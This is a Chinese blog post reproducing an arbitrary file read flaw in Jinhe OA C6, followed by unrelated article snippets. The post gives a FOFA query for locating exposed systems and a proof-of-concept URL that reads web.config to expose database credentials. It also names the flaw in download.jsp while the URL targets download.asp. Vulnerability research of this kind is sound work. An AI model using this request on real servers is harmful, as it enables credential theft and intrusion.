当前位置： 首页 > news >正文

金和OA C6任意文件读取漏洞 复现[附POC]

news 2025/12/17 1:29:51

文章目录

  • 金和OA C6任意文件读取漏洞 复现[附POC]
    • 0x01 前言
    • 0x02 漏洞描述
    • 0x03 影响版本
    • 0x04 漏洞环境
    • 0x05 漏洞复现
      • 1.访问漏洞环境
      • 2.构造POC
      • 3.复现
    • 0x06 修复建议

金和OA C6任意文件读取漏洞 复现[附POC]

0x01 前言

免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用！！！

0x02 漏洞描述

金和OA协同办公管理系统C6软件共有20多个应用模块，160多个应用子模块，涉及的企业管理业务包括协同办公管理、人力资源管理、项目管理、客户关系管理、企业目标管理、费用管理等多个业务范围，从功能型的协同办公平台上升到管理型协同管理平台，并不断地更新完善，全面支撑企业发展,提供专业oa,oa系统,oa办公系统,办公自动化软件,协同办公管理系统.支持oa办公自动化系统免费在线试用。

金和OA C6系统的download.jsp文件存在任意文件读取漏洞，攻击者通过漏洞可以获取服务器的敏感信息。

0x03 影响版本

金和OA系统

0x04 漏洞环境

FOFA语法：app=“金和网络-金和OA”
在这里插入图片描述

0x05 漏洞复现

1.访问漏洞环境

在这里插入图片描述

2.构造POC

POC （GET）

http://IP:port/C6/Jhsoft.Web.module/testbill/dj/download.asp?filename=/c6/web.config
其中IP为目标漏洞平台的实际地址或域名

3.复现

执行POC即可获取Web.config文件内容，其中包含数据库账号密码。打开Web.config文件定位敏感信息处，得到如下信息。
在这里插入图片描述发现可以获取User和Password后，借助数据库连接工具即可进一步获取敏感信息，由于涉及大量信息，此处已忽略具体截图。

0x06 修复建议

1.实施产品的权限访问控制，降低互联网搜索引擎的查询。
2.加强后台认证要求，提高口令的安全性。
3.增强关键页面的安全性，提升WEB后台的安全访问控制权限能力。

相关文章：

金和OA C6任意文件读取漏洞 复现[附POC]

文章目录 金和OA C6任意文件读取漏洞 复现[附POC]0x01 前言0x02 漏洞描述0x03 影响版本0x04 漏洞环境0x05 漏洞复现1.访问漏洞环境2.构造POC3.复现 0x06 修复建议 金和OA C6任意文件读取漏洞 复现[附POC] 0x01 前言 免责声明：请勿利用文章内的相关技术从事非法测试…...

编程日记 2023/10/13 17:10:39

IP地址技术原理

IP地址是互联网中的关键元素，它允许数据在全球范围内进行路由和传输。本文将深入探讨IP地址的技术原理，包括IP地址的结构、IP地址分配、子网划分和IPv4与IPv6之间的转换。 第一部分：IP地址基础 1.1IP地址是什么？ IP地址&#xf…...

编程日记 2023/10/13 17:09:38

【网络安全】密码学基础

前言 密码学是网络安全的核心组成部分，它帮助我们保护信息，防止未经授权的访问。在这篇文章中，我们将从基础开始，深入了解密码学的基本概念和原理，包括加密、解密、密钥、哈希函数等。我们将尽可能使用简单的语言和实…...

编程日记 2023/10/13 17:08:37

AWS AD Connector 的网络配置

配置 AWS 的 AD Connector 通常遇到的都是些网络问题，且 AD Connector 本身屏蔽了一些网络细节，使得查找root cause往往有点困难，本文就把 AD Connector 网络问题梳理一下。 首先，需要搞清楚的是：AD Connector 是 Microsoft Active Directory 的一种代理，IAM可以通过它联…...

编程日记 2023/10/13 17:07:37

kafka详解(三)

2.2 Kafka命令行操作 2.2.1 主题命令行操作 1）查看操作主题命令参数 [aahadoop102 kafka]$ bin/kafka-topics.sh2）查看当前服务器中的所有topic (配置了环境变量不需要写bin/) [aahadoop102 kafka]$ bin/kafka-topics.sh --bootstrap-server hadoop10…...

编程日记 2023/10/13 17:06:36

[Spring] SpringMVC 简介（二）

目录 五、域对象共享数据 1、使用 ServletAPI 向 request 域对象共享数据 2、使用 ModelAndView 向 request 域对象共享数据 3、使用 Model、Map、ModelMap 向 request 域对象共享数据 4、向 session 域和 application 域共享数据 六、SpringMVC 的视图 1、ThymeleafVie…...

编程日记 2023/10/13 17:04:32

idea一些不太常用但是能提升编码效率的快捷键

Ctrl Shift V：从历史选择粘贴 从历史剪粘版中选择要粘贴的内容。Ctrl Shift Z：重做 恢复上一步撤销内容Shift F4：在新窗口中打开 比如要从另一个类中复制代码 可以把这个类在新窗口单独打开 用AltTab 来回切换复制Ctrl PageUp&#xff…...

编程日记 2023/10/13 17:02:31

vsto word属性信息 并读取

要通过VSTO (Visual Studio Tools for Office) 读取和操作 Microsoft Word 文档的属性信息，您可以使用 C# 或 VB.NET 等 .NET 编程语言结合 VSTO 来实现。以下是一个示例，演示如何获取 Word 文档的属性信息：首先，确保您已经在 Vis…...

编程日记 2023/10/13 17:01:29

android之TextView自由选择复制

文章目录 前言一、效果图二、实现步骤1.OnSelectListener2.SelectionInfo类3.TextLayoutUtil类4.复制弹框的xml布局5.弹框背景Drawable6.倒三角Drawable7.复制工具类8.调用 总结 前言 根据时代进步，那些干产品的也叼砖起来了，今天就遇到一个需求&#x…...

编程日记 2023/10/13 17:00:28

【mysql】 bash: mysql: command not found

在linux 服务器上安装了mysql 也可以正常运行。 但是执行命令，系统提示：bash: mysql: command not found bash:mysql:找不到命令 执行的命令是： mysql -u root -h 127.0.0.1 -p由于系统默认会查找的 /usr/bin/ 中下的命令，如…...

编程日记 2023/10/13 16:59:26

鲲山科技：引入和鲸 ModelWhale，实现量化策略的高效迭代

量化投资是数据科学在金融行业的应用。 2023 年，量化行业的超额收益开始收敛，量化私募如何形成自身核心竞争力？ 和鲸拜访客户鲲山科技（深圳），揭示其“弯道超车”的独家秘诀。 群体作战 年初至今&#xff…...

编程日记 2023/10/13 16:58:25

PFSK152 3BSE018877R1 有源滤波器的定义

PFSK152 3BSE018877R1 有源滤波器的定义 有源滤波器是以晶体管和运算放大器为基本元件设计的滤波电路。除了这些元件，有源滤波器的电路还包含电阻和电容，但不包含电感。 我们知道滤波器具有频率选择性。因此，有源滤波器电路使用晶体管和运算…...

编程日记 2023/10/13 16:57:24

WebDAV之π-Disk派盘 + 恒星播放器

想要拥有一款万能视频播放器，全能解码播放器，无需转码，支持所有格式的视频和音频，直接播放的播放器？那就选恒星播放器。 恒星播放器支持视频投屏，倍速播放，后台播放等功能，还能一键截图和录制gif动图。支持全格式超高清真4K解码，蓝光HDR低占用，支持ISO文件直出的播放…...

编程日记 2023/10/13 16:56:22

亚马逊，速卖通，敦煌产品测评补单攻略：低成本、高安全实操指南

随着电商平台的发展和消费者对产品质量的要求提升，测评补单成为了商家们提升销售和用户口碑的关键环节。然而，如何在保持成本低廉的同时确保操作安全，一直是卖家们面临的挑战。今天林哥分享一些实用的技巧和策略，帮助卖家们产品的…...

编程日记 2023/10/13 16:55:21

常用linux解压命令

1. 超过4g的zip文件在linux下unzip失败。需要用7z压缩，然后用p7zip命令解压。 p7zip -d x.7z 2. gzip解压.gz文件 gzip -d a11.txt.gz 和 gunzip a1.txt.gz gunzip –c filename.gz > filename #解压缩保留源文件, 上述命令非常容易写错，最后导…...

编程日记 2023/10/13 16:54:20

TensorFlow入门(二十二、梯度下降)

梯度下降的定义及作用 梯度下降本身是一个最优化算法,通常也被称为最速下降法。常被用于机器学习和人工智能中递归性地逼近最小偏差模型,也就是使用它找到一个函数的局部极小值。 使用过程中,梯度下降算法以函数上当前点对于梯度(或者是近似梯度)反方向的规定步长距离点进行迭代…...

编程日记 2023/10/13 16:53:19

WPF中的多重绑定

MultiBinding 将会给后端传回一个数组, 其顺序为绑定的顺序. 例如: <DataGridMargin"10"AutoGenerateColumns"False"ItemsSource"{Binding Stu}"><DataGrid.Columns><DataGridTextColumn Binding"{Binding Id}" Header…...

编程日记 2023/10/13 16:52:18

区块链在游戏行业的应用

区块链技术在游戏行业有许多潜在的应用&#xff0c;它可以改变游戏开发、发行和玩家交互的方式。以下是区块链技术在游戏行业的一些主要应用&#xff0c;希望对大家有所帮助。北京木奇移动技术有限公司&#xff0c;专业的软件外包开发公司&#xff0c;欢迎交流合作。 1.游戏资产…...

编程日记 2023/10/13 16:51:16

uniapp快速入门系列（4）- 微信小程序开发

第四章 微信小程序开发 4.1 微信小程序开发与uniapp的融合4.2 微信小程序API在uniapp中的使用4.3 微信小程序常见问题的解决方法问题1: 如何获取用户信息&#xff1f;问题2: 如何获取当前位置&#xff1f;问题3: 如何发送网络请求&#xff1f; 在本章中&#xff0c;我们将学习如…...

编程日记 2023/10/13 16:50:15

Kafka保证消息幂等以及解决方案

1、幂等的基本概念 幂等简单点讲&#xff0c;就是用户对于同一操作发起的一次请求或者多次请求的结果是一致的&#xff0c;不会产生任何副作用。幂等分很多种&#xff0c;比如接口的幂等、消息的幂等&#xff0c;它是分布式系统设计时必须要考虑的一个方面。 查询操作(天然幂等…...

编程日记 2023/10/13 16:49:15

IDEA运行Tomcat出现乱码问题解决汇总

最近正值期末周&#xff0c;有很多同学在写期末Java web作业时&#xff0c;运行tomcat出现乱码问题&#xff0c;经过多次解决与研究&#xff0c;我做了如下整理&#xff1a; 原因&#xff1a; IDEA本身编码与tomcat的编码与Windows编码不同导致&#xff0c;Windows 系统控制台…...

编程新知 2025/12/16 3:57:40

微信小程序之bind和catch

这两个呢&#xff0c;都是绑定事件用的&#xff0c;具体使用有些小区别。 官方文档&#xff1a; 事件冒泡处理不同 bind&#xff1a;绑定的事件会向上冒泡&#xff0c;即触发当前组件的事件后&#xff0c;还会继续触发父组件的相同事件。例如&#xff0c;有一个子视图绑定了b…...

编程新知 2025/12/10 15:29:40

Python爬虫实战：研究feedparser库相关技术

1. 引言 1.1 研究背景与意义 在当今信息爆炸的时代，互联网上存在着海量的信息资源。RSS（Really Simple Syndication）作为一种标准化的信息聚合技术，被广泛用于网站内容的发布和订阅。通过 RSS，用户可以方便地获取网站更新的内容，而无需频繁访问各个网站。 然而，互联网…...

编程新知 2025/8/18 9:54:31

关于iview组件中使用 table , 绑定序号分页后序号从1开始的解决方案

问题描述&#xff1a;iview使用table 中type: "index",分页之后 &#xff0c;索引还是从1开始&#xff0c;试过绑定后台返回数据的id, 这种方法可行&#xff0c;就是后台返回数据的每个页面id都不完全是按照从1开始的升序&#xff0c;因此百度了下&#xff0c;找到了…...

编程新知 2025/12/13 5:10:30

测试markdown--肇兴

day1&#xff1a; 1、去程&#xff1a;7:04 --11:32高铁 高铁右转上售票大厅2楼&#xff0c;穿过候车厅下一楼&#xff0c;上大巴车 &#xffe5;10/人 **2、到达&#xff1a;**12点多到达寨子&#xff0c;买门票&#xff0c;美团/抖音&#xff1a;&#xffe5;78人 3、中饭&a…...

编程新知 2025/12/14 11:45:02

NLP学习路线图（二十三）：长短期记忆网络（LSTM）

在自然语言处理（NLP）领域，我们时刻面临着处理序列数据的核心挑战。无论是理解句子的结构、分析文本的情感，还是实现语言的翻译，都需要模型能够捕捉词语之间依时序产生的复杂依赖关系。传统的神经网络结构在处理这种序列依赖时显得力不从心，而循环神经网络（RNN） 曾被视为…...

编程新知 2025/12/11 21:25:46

C#中的CLR属性、依赖属性与附加属性

CLR属性的主要特征 封装性&#xff1a; 隐藏字段的实现细节 提供对字段的受控访问 访问控制&#xff1a; 可单独设置get/set访问器的可见性 可创建只读或只写属性 计算属性&#xff1a; 可以在getter中执行计算逻辑 不需要直接对应一个字段 验证逻辑&#xff1a; 可以…...

编程新知 2025/12/4 0:13:33

DingDing机器人群消息推送

文章目录 1 新建机器人2 API文档说明3 代码编写 1 新建机器人 点击群设置 下滑到群管理的机器人&#xff0c;点击进入 添加机器人 选择自定义Webhook服务 点击添加 设置安全设置&#xff0c;详见说明文档 成功后&#xff0c;记录Webhook 2 API文档说明 点击设置说明 查看自…...

编程新知 2025/12/12 8:29:24

【Linux】自动化构建-Make/Makefile

前言 上文我们讲到了Linux中的编译器gcc/g 【Linux】编译器gcc/g及其库的详细介绍-CSDN博客 本来我们将一个对于编译来说很重要的工具&#xff1a;make/makfile 1.背景 在一个工程中源文件不计其数&#xff0c;其按类型、功能、模块分别放在若干个目录中&#xff0c;mak…...

编程新知 2025/12/9 3:17:09

鸿蒙（HarmonyOS5）实现跳一跳小游戏

下面我将介绍如何使用鸿蒙的ArkUI框架&#xff0c;实现一个简单的跳一跳小游戏。 1. 项目结构 src/main/ets/ ├── MainAbility │ ├── pages │ │ ├── Index.ets // 主页面 │ │ └── GamePage.ets // 游戏页面 │ └── model │ …...

编程新知 2025/11/20 18:21:59